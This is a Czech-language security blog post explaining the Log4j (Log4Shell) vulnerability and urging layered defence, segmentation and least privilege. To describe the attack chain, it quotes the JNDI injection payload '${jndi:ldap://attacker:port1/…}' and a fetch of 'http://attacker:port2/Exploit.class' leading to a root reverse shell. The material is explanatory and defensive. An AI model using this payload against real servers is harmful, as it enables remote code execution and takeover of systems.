Log4j aneb nedávej Apachům ohnivou vodu, dopadne to špatně

Je doba vánoční plná příběhů a zázraků a na jeden takový je potřeba se podívat, protože se z něj můžeme hodně poučit.

Bylo, nebylo 9. 12. (byl a už není) se objevil níže uvedený tweet (mimochodem velmi trefná profilová fotka odkazující na dnes již kultovní film Leon), … a nastalo zděšení, často i oprávněné, hlavně tam, kam bezpečnost nechodí. Protože jak víme, kam nechodí bezpečnost, tam chodí hacker.

Ještě, než se podíváme na samotnou log4j2 zranitelnost, tak doporučuji přednášku na téma A JOURNEY FROM JNDI/LDAP MANIPULATION TO REMOTE CODE EXECUTION DREAM LAND z roku 2016 Ta doporučení sedí i teď, jak to? No ono to je v bleděmodrém to samé.

A když se podíváme hluboko do historie log4j na genezi tohoto problému tedy když přišlo log4j2, tak šlo jen o to, že někomu kdysi nevyhovovalo prosté logování a chtěl mít chytřejší logování. To slyšíme pořád, chceme mít věci chytřejší, ale zapomínáme, že s každou funkcionalitou přichází i nové zranitelnosti.

Ale je to přeci open source, zdrojový kód je k dispozici ….

… jenže všichni spoléhají na to, že nějaký „bezpečnostní audit“ open source modulu někdo udělá, … ale proč by ho někdo jen tak dělal, když bug bounty Apache nemá a pokud si s tím někdo už větší práci dá, tak primárně pro své účely a nikoliv za účelem vylepšení bezpečnosti daného modulu. Ano, Open Source se testuje snáz všem (i zlým hackerům) a kdo netestuje, ten se pak nemůže divit.

Abychom věděli, zda máme tuto zranitelnost nebo ne a jak moc je exploitovatelná a dozvěděli jsme se to hlavně dříve než útočníci, musíme systémy prověřit. Testování a tedy ověřování, zda je systém zranitelný či ne, je základ obrany. Bez toho buď zbytečně plašíme anebo naopak máme falešný pocit bezpečí.

Mimochodem v případě testování ZERO day zranitelností je pro vývoj testovacího SW vhodný agilní přístup, protože zde máme jednoznačné zadání a potřebujeme co nejrychlejší výstup, tedy zda daný produkt zranitelností trpí či nikoliv a k tomu se mnohdy nemůžeme dopracovat ani jinak než několikanásobnou iterací. Ano, tady je agile na místě a opravdu funguje. A navíc platí i ono „Kdo rychle dává, dvakrát dává!”.

S testováním zranitelností jsou však spojená určitá rizika, na která nesmíme zapomenout, pokud nemáme v úmyslu stát se ukázkovou obětí hackingu. Nepoužívejte nový testovací SW, ale již vyzkoušený a ověřený. Případně takový, kde se mění jen jeho rozšíření, které bychom měli ale taktéž ověřit.

Virus Total tady trochu pomůže, ale nemůžeme se na něj až tak spoléhat, je potřeba dostat se ke zdrojovému kódu daného rozšíření a analyzovat jej. A vidíme-li tam něco enkódovaného (zpravidla BASE64) pak použijme buď nástroje v Linuxu (příkazy echo a base64 atd.) nebo velmi kvalitní nástroj na takovéto hraní, jakým je např. CyberChef.

A jak to hacknutí log4j2 fungovalo, najdete v tomto videu. Máme útočníka s Linuxem a oběť mající server se zranitelnou webovou aplikací běžící v dockeru taktéž na Linuxu.

  1. Data od útočníka jsou poslána na webovou aplikaci,
  2. Aplikace (server) loguje data se škodlivým payloadem: ${jndi:ldap://attacker:port1/…}
  1. Log4j zranitelnost je trigrována tímto payloadem a server vytvoří požadavek přes „Java Naming and Directory Interface“ (JNDI) na LDAP (jakýkoliv port, proto tam je schválně tcp/80)
  2. Odpověď z falešného LDAP serveru obsahuje http odkaz (opět úmyslně zvolený a běžně povolený tcp/443, tedy port pro https) na zkompilovaný exploit v Java class (ex. http://attacker:port2/Exploit.class),

který je injektován do stávajícího procesu serveru a dojde k jeho spuštění s danými právy procesu (v této ukázce vytvoří reverzní volání příkazové řádky s právy root)

Možností, jak nalezenou zranitelnost eliminovat, je více a hodně záleží na konkrétní situaci, protože nejrychleji neznamená vždy nejlépe. Ostatně jako v jiných případech, může dojít k získání informací o prostředí serveru přes DNS, ostatně na to stále mnoho organizací nemyslí, když budují izolované systémy.

DNS infrastruktura zůstává a ono to v dnešním prostředí (vazba na SaaS, apod.) je skutečně náročné a někdy až nemožné. Ostatně už před mnoha lety jsem ukazoval, jak můj malware komunikuje z izolovaného systému s C&C malware v Internetu právě přes DNS. Ale můžete vzpomenout i cca rok starou kauzu Solarwinds.

A nyní přichází hlavní otázka, co udělat pro to, abychom se ubránili do budoucna i dalším podobným zranitelnostem, kdy se např. ve velkém exploituje zranitelnost, o které mnozí ještě ani netuší. Základem je rozhodně vícevrstvá bezpečnost, kterou bohužel mnoho vývojářů často vnímá jen jako „vopruz“, a proto tak moc tíhnou ke cloudům, kde se snaží naivně schovat, aby se jejímu řešení vyhnuli.

Je potřeba znovu zopakovat, že cloud je jen tak bezpečný, jak bezpečný si jej uděláte. CSP odpovídá jen za infrastrukturu cloudu a její služby, ale za to, co v cloudu běží a leží, si už odpovídá každý uživatel, a když kašle na bezpečnost, tak bezpečnost pak kašle na něj. Přesunem do cloudu se bezpečnosti prostě nezbavíte, ba právě naopak ji musíte začít řešit.

Spolu s vícevrstvou bezpečností byste měli řešit i správnou segmentaci sítě, tj. oddělení zranitelných backendů od neomezeného prostupu do Internetu a využívání DMZ pro web. frontendy. A na jednotlivých vrstvách pak uplatňovat princip least privilege a kompartmentalizace, kdy se jednotlivé procesy spouští pod dedikovanými aplikačními účty s minimálními právy.

Pokud vás tento článek zaujal, můžete odkaz na něj sdílet.


K článku “Log4j aneb nedávej Apachům ohnivou vodu, dopadne to špatně” se zde nenachází žádný komentář - buďte první.

Diskuse na tomto webu je moderována. Pod článkem budou zobrazovány jen takové komentáře, které nebudou sloužit k propagaci konkrétní firmy, produktu nebo služby. V případě, že chcete, aby z těchto stránek vedl odkaz na váš web, kontaktujte nás, známe efektivnější způsoby propagace.

Přihlášeným uživatelům se tento formulář nezobrazuje - zaregistrujte se.

Jméno:(požadováno)
E-mail:(požadováno - nebude zobrazen)
Web:

Text vaší reakce: